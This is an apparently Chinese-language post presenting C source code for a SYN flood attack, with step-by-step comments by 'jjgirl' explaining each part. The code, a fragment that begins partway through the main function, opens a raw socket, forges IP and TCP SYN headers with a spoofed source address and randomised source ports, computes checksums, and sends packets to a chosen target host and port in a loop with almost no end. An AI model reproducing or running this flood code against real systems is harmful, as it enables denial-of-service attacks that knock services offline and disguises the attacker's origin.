一个SYN攻击的源程序

/*jjgirl:上面是判断参数！*/

fprintf(stderr,"%s:%s　is　being　syn'd　attacked　by　%s.\n",argv[1],argv[2],argv[3]);

bzero(&sin,sizeof(struct　sockaddr_in));　/*write　sizeof　to　&sin*/

sin.sin_family=AF_INET;

if((host1=gethostbyname(argv[3]))!=NULL)

bcopy(host1->h_addr,&din.sin_addr,host1->h_length);

else　if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)

{

fprintf(stderr,"unknown　source　host　%s\n",argv[3]);

return(-1);

}

if((hoste=gethostbyname(argv[1]))!=NULL)

bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);

else　if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)

{

fprintf(stderr,"unknown　destination　host　%s\n",argv[1]);

return(-1);

}

if((sin.sin_port=htons(atoi(argv[2])))==0)

{

fprintf(stderr,"unknown　port　%s\n",argv[2]);

return(-1);

}

/*jjgirl:上面是给sockaddr_in结构赋值，需要指明协议，端口号！*/

if((sock=socket(AF_INET,SOCK_RAW,255))==-1)

{

fprintf(stderr,"couldn't　allocate　raw　socket\n");

return(-1);

}

/*jjgirl:上面开始Socket了！*/

foo=1;

if(setsockopt(sock,0,IP_HDRINCL,(char　*)&foo,sizeof(int))==-1)

{

fprintf(stderr,"couldn't　set　raw　header　on　socket\n");

return(-1);

}

/*jjgirl:上面是为了重构报头！*/

for(j=1;j>0;j++)

{

bzero(&buffer,sizeof(struct　ip)+sizeof(struct　tcphdr));

ipheader->ip_v=4;

ipheader->ip_tos=0;

ipheader->ip_hl=sizeof(struct　ip)/4;

ipheader->ip_len=sizeof(struct　ip)+sizeof(struct　tcphdr);

ipheader->ip_id=htons(random());

ipheader->ip_ttl=30;　/*255;*/

ipheader->ip_p=IPPROTO_TCP;

ipheader->ip_sum=0;

ipheader->ip_src=din.sin_addr;

ipheader->ip_dst=sin.sin_addr;

tcpheader->th_sport=htons(srcport);　/*sin.sin_port;*/

tcpheader->th_dport=sin.sin_port;

tcpheader->th_seq=htonl(0x28374839);

tcpheader->th_flags=TH_SYN;

tcpheader->th_off=sizeof(struct　tcphdr)/4;

tcpheader->th_win=htons(2048);

tcpheader->th_sum=0;

bzero(&pseudoheader,12+sizeof(struct　tcphdr));

pseudoheader.saddr.s_addr=din.sin_addr.s_addr;

pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;

pseudoheader.protocol=6;

pseudoheader.length=htons(sizeof(struct　tcphdr));

bcopy((char　*)　tcpheader,(char　*)　&pseudoheader.tcpheader,sizeof(struct　tcphdr));

tcpheader->th_sum=checksum((u_short　*)　&pseudoheader,12+sizeof(struct　tcphdr));

/*jjgirl:上面是重构报头！*/

srcport=　(10000.0*random()/(15000+1.0));

/*jjgirl:端口当然要变！*/

if(sendto(sock,buffer,sizeof(struct　ip)+sizeof(struct　tcphdr),0,(struct　sockaddr　*)　&sin,sizeof(struct　sockaddr_in))==-1)

/*jjgirl:攻击开始！*/

{

fprintf(stderr,"couldn't　send　packet,%d\n",errno);

return(-1);

}

usleep(2);

if　(!(flooddot　=　(flooddot+1)%(1)))

{fprintf(stdout,".");fflush(stdout);}

/*jjgirl:显示次数！　Jjgirl　把上面一句,改为如下两句,增加显示效果,随你的便！

{fprintf(stdout,".%4d",j);fflush(stdout);}

int　k=j;　if((k%10)==0)　printf("\n");　*/

}　/*The　end　of　the　infinite　loop*/

close(sock);

return(0);

}

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